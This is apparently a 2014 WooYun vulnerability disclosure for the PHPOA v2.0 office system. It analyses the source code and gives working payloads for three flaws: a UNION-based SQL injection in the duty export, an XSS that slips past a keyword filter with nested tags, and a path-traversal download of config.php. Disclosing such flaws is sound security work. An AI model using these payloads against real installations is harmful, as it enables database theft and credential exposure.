当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063280

漏洞标题:某协同网络办公OA系统若干漏洞打包(附详细分析)

相关厂商:北京天生创想信息技术有限公司

漏洞作者: Mr .LZH

提交时间:2014-06-03 14:18

修复时间:2014-09-01 14:20

公开时间:2014-09-01 14:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-03: 细节已通知厂商并且等待厂商处理中
2014-06-08: 厂商已经确认,细节仅向厂商公开
2014-06-11: 细节向第三方安全合作伙伴开放
2014-08-02: 细节向核心白帽子及相关领域专家公开
2014-08-12: 细节向普通白帽子公开
2014-08-22: 细节向实习白帽子公开
2014-09-01: 细节向公众公开

简要描述:

某协同网络办公OA系统若干漏洞打包,后台注入,xss指哪打哪,任意文件下载

详细说明:

官方地址:http://www.phpoa.cn
版本编号:PHPOA v2.0
发布时间:2014-01-27
漏洞一:注入
第一,分析防注入。
include/common.php

31行
if ( !get_magic_quotes_gpc() ) {
$_GET = add_slashes($_GET);
$_POST = add_slashes($_POST);
$_COOKIE = add_slashes($_COOKIE);
}


include/class_mysql.php

21行
if ($this->version() > '4.1') {
mysql_query('SET NAMES '.strtolower(str_replace('-','',TOA_CHARSET)).';',$this->link);
}


由此可看出,\ ' " 会被转义,切无法字符编码绕过。
但如果参数是数字型,sql不用突破单引号,就存在危险。
第二,找到一处注入点。
duty/mod_duty.php

mod_duty.php
}elseif ($do == 'excel') {
$datename="duty_".get_date('YmdHis',PHP_TIME);
$outputFileName = 'data/excel/'.$datename.'.xls';
//生成数据
$content = array();
$archive=array("任务编号","任务名称","执行人","任务开始时间","任务结束时间","任务描述","备注","任务状态","分配人");
$content[] = $archive;
$wheresql = '';
//根据条件导出
$vstartdate = getGP('vstartdate','G');
$venddate = getGP('venddate','G');
if ($vstartdate!='' && $venddate!='') {
$wheresql .= " AND (startdate>='".$vstartdate."' and enddate<='".$venddate."')";
}
//权限判断
$un = getGP('un','P');
$ui = getGP('ui','P');
if(!is_superadmin() && $ui==''){
$wheresql .= " and (user like'%".get_realname($_USER->id).",%' or uid='".$_USER->id."')";
}
if ($ui!='') {
$wheresql .= " and uid in(".$ui.")";
}
if ($number = getGP('number','P')) {
$wheresql .= " AND number=".$number."";
}
if ($dkey = getGP('dkey','P')) {
$wheresql .= " AND dkey=".$dkey."";
}
if ($title = getGP('title','P')) {
$wheresql .= " AND title LIKE '%$title%'";
}
//SQL查询要导出的内容
$sql = "SELECT * FROM ".DB_TABLEPRE."duty WHERE 1 $wheresql ORDER BY id desc";
$result = $db->query($sql);


dkey和number参数可不用突破单引号。
得到注入点:
地址:127.0.0.1/v2014/admin.php?ac=duty&fileurl=duty
post数据:do=excel&number=1 uNion sElect 1,version(),3,user(),5,6,7,8,9,10,11,12 #

QQ截图20140602195959.png


QQ截图20140602200146.png


对程序未进行全面排查,应该还有很多相似情况,不继续深入,厂商自己排查。
有时候普通用户权限被限制得比较死,没办法在这里注入怎么办?看漏洞二。
漏洞二:XSS指谁打谁,狂插管理员。

QQ截图20140602194442.png


如图位置,向指定人发送消息。内容为:
<scrscriptipt>alealertrt('xss');</scrscriptipt>
经过后台处理script,alert字符被替换为空,成功绕过变成:
<script>alert('xss');</script>
触发xss。

QQ截图20140602194235.png


如果还不满足于现有的资料,看漏洞三。
漏洞三:任意文件下载。
down.php

<?php
//下载文件
define('IN_ADMIN',True);
require_once('include/common.php');
get_login($_USER->id);
$filename=$_GET['urls'];
$phps=explode('/',$filename);
if($phps[0]!='data' && $phps[0]!='ntko'){
echo '下载失败!';
exit;
}
$phps1=explode('.',$filename);
if($phps1[1]=='php'){
echo '下载失败,请不要非法下载!';
exit;
}
header("Content-Type: application/force-download");
header("Content-Disposition: attachment; filename=".basename($filename));
readfile($filename);
?>


不得不为程序员的智商感到悲哀。
$phps=explode('/',$filename);
判断$phps[0]!='data' && $phps[0]!='ntko'为true时退出,你想干嘛呢?限制只能下载这2个目录下的文件??开玩笑啊。
再来一个高智商的。
$phps1=explode('.',$filename);
判断$phps1[1]=='php'为true时退出。这是不让我下载php文件??
于是乎这样的地址简单突破。
http://127.0.0.1/V2014/down.php?urls=data/../config.php
没错吧,data文件夹下,分割.符号后得到的第二个字符是空的,不是php。完全合法的地址。

漏洞证明:

QQ截图20140602195959.png


QQ截图20140602200146.png


QQ截图20140602194235.png

修复方案:

换程序员

版权声明:转载请注明来源 Mr .LZH@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-06-08 10:12

厂商回复:

CNVD确认所述情况(本地复现),由CNVD尝试通过公开联系渠道向软件生产厂商通报。按多个漏洞综合评分,rank 20

最新状态:

2014-06-08:补充一下处置状态,CNVD在6月4日联系天生创想,63421038,对方拒绝提供邮箱等联系方式。